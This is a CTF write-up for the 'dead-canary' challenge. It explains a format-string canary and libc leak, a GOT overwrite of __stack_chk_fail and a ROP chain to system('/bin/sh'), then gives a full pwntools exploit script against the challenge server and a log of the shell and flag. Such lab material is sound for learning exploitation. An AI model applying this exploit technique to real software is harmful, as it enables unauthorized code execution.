Tags: rop pwn shell format-string pwntools 

Rating:

Objective

So this challenge requires us to utilize a format string exploit to get a shell.

Points about Format string exploit

There are two points to be noted as far as the format string exploit is concerned

  1. We can read arbitrary values ahead on the stack
  2. We can write to arbitrary values to a location such that a pointer to the location is available on the stack.

More details can be found at this Wikipedia link

Observations

  • The program allows us to read only 0x120 bytes into a buffer at rbp-0x110. Note the canary is located at rbp-0x8 and the return address of main is at rbp+0x8. So using a standard buffer overflow we can write upto only the return address i.e. upto rbp+0x8.
  • The canary used is a standard one i.e its first byte will always be \x00. So we just do not know the remaining 7 bytes.
  • When we are executing inside main, we can observe that rsp is always at rbp-0x110 or the starting of the buffer that we are about to write into. So that means rsp points directly to our payload huh? Interesting...

Workflow

This workflow requires to send multiple payloads to obtain a proper shell.

Payload 1

In this payload we will aim to leak various information off the stack and change the GOT entry for __stack_chk_fail to the address of main so that after a canary is smashed execution returns to main so that we can send some other payloads based on the information we just leaked.

This payload consists of the following parts

  • Format string %41$016llx; to print the return address where main will return in __libc_start_main. This address will be later utilized to get other addresses like address of system
  • Format string %39$016llx; to print the canary
  • Format string %04196117d%11$n000 to write into the 11th argument (GOT entry of __stack_chk_fail that we are going to pass) the value 0x00400737
  • Address of GOT entry of __stack_chk_fail is passed on the stack with p64(stack_chk_fail_got)
  • A padding upto the canary and sending \x01 into the first byte of the canary since we know that the first byte is anyways \x00 and if we smash any further then we won't be able to get the real value of the canary.

Note: The values for the format string exploits have been obtained after looking at the stack frame in a debugger. You can presently convince yourself that these values are indeed correct.

Once we send this payload we will get the canary value and __libc_start_main address and execution will start again at main and we can send another payload.

Payload 2 and 3

Now that we know the value of our canary we can safely place it into our buffer overflow and redirect execution. Well this was what I thought during the CTF, but there is a catch, remember we cannot overflow beyond the return address on the stack, so we cannot construct a valid ROP chain since we do not control the stack after we have returned from main, and hence our exploit will fail. So what do we do?

But remember that rsp points to the start of our payload.... So maybe we can utilize this fact. Lets see how

So in this payload we will start our buffer with the stack frame that is required for our ROP chain and smash the canary purposely. I know i don't make sense right now since we know what the canary should be. But bear with me. Once the canary is smashed, the instruction call __stack_chk_fail will get executed and the return address will get pushed on to rsp and note that below rsp is our PAYLOAD 2.

So now the execution will jump to main but with one important fact that the stack frame that is required by our ROP chain to spawn our shell is already present after the return address and we just need to change the return address and we can do that since we are allowed to write 0x120 bytes anyways, and this time we are going to place the correct value of the canary :)

So in PAYLOAD-3 we will just change the return address to our ROP gadget pop rdi; ret and use the correct value of the canary.!

Final exploit code

from pwn import *

def exploit(p):
    stack_chk_fail_got=0x601028
    main = 0x00400737

################# PAYLOAD 1 ##############################

    # 41st argument to printf is the return address where the main function returns inside __libc_start_main
    # 39th argument is the canary
    # printing enough values to fill the 11th argument i.e __stack_chk_fail GOT entry to a value 0x400737 ( address of main )
    pay = b'%41$016llx;%39$016llx;%04196117d%11$n000'+p64(stack_chk_fail_got)
    pay+=(0x110-8-len(pay))*b'a'
    print(p.recvuntil(b'What is your name: '))
    
    # Canary's first byte is always \x00 so we can safely smash the canary by just changing it to \x01
    p.send(pay+b'\x01')

    main_return_addr = int(p.recvuntil(b';').split(b' ')[1][:-1], 16)
    canary = int(p.recvuntil(b';')[:-2] + b'0',16)

    # __libc_start_main starts at a backward offset 231 from where the main execution is supposed to return
    libc_main = main_return_addr - 231
    print("[+] Retrived libc_main address as ", hex(libc_main))
    print("[+] Retrieved canary as ", hex(canary))

    p.recvuntil(b'What is your name: ')
    print("[+] New prompt recieved")
    
    # Calculate other offsets using the start of __libc_start_main we obtained
    system_addr = (0x000000000004f440-0x0000000000021ab0) + libc_main
    binsh_main_offset = 1647594
    binsh_addr = binsh_main_offset + libc_main  # This is a pointer to the string "/bin/sh" inside libc.so.6
    ret = 0x00000000004005d6                    # A simple gadget ret;

###################### PAYLOAD 2 #################################

    rop = 0x00000000004008e3    # pop rdi; ret

    pay = b''
    pay+=p64(binsh_addr)    # This needs to be placed in rdi
    pay+=p64(ret)           # This is to make rsp 16 byte aligned which the movaps instruction requires inside call to system()
    pay+=p64(system_addr)   # This is the address of system() calculated which our ROP will return to
    pay+=(0x110-len(pay))*b'a' # Purposeful smashing of the canary

    p.send(pay)

    print(p.recvuntil(b'What is your name: '))
    print("[+] New prompt recieved")
    
    

####################### PAYLOAD 3 ################################


    
    pay=b''
    pay+=b'a'*(0x110-8-len(pay))    # Padding
    pay+=p64(canary)                # Real value of the canary
    pay+=b'a'*8                     # Fake rbp
    pay+=p64(rop)                   # Now main should return to our rop gadget
                                    # Our stack arguments that the rop gadget requires are set, thanks to PAYLOAD-2
                            

    p.send(pay)
    
    print(p.recv())
    p.interactive()


# p=process('./dead-canary')
p = remote(host='2020.redpwnc.tf', port=31744)

# Enjoy your shell
exploit(p)

Result

harsh@anonymous:~/Downloads/redpwnctf$ python3 canary.py 
[+] Opening connection to 2020.redpwnc.tf on port 31744: Done
b'What is your name: '
[+] Retrived libc_main address as  0x7ff6092e7ab0
[+] Retrieved canary as  0xb6b4d3d76f69800
[+] New prompt recieved
b'Hello \x9a\x9eG\t\xf6\x7fWhat is your name: '
[+] New prompt recieved
b'Hello '
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ 
$ ls
Makefile
bin
dead-canary
dead-canary.c
dev
flag.txt
lib
lib32
lib64
libc.so.6
$ cat flag.txt
flag{t0_k1ll_a_canary_4e47da34}
$ 
[*] Interrupted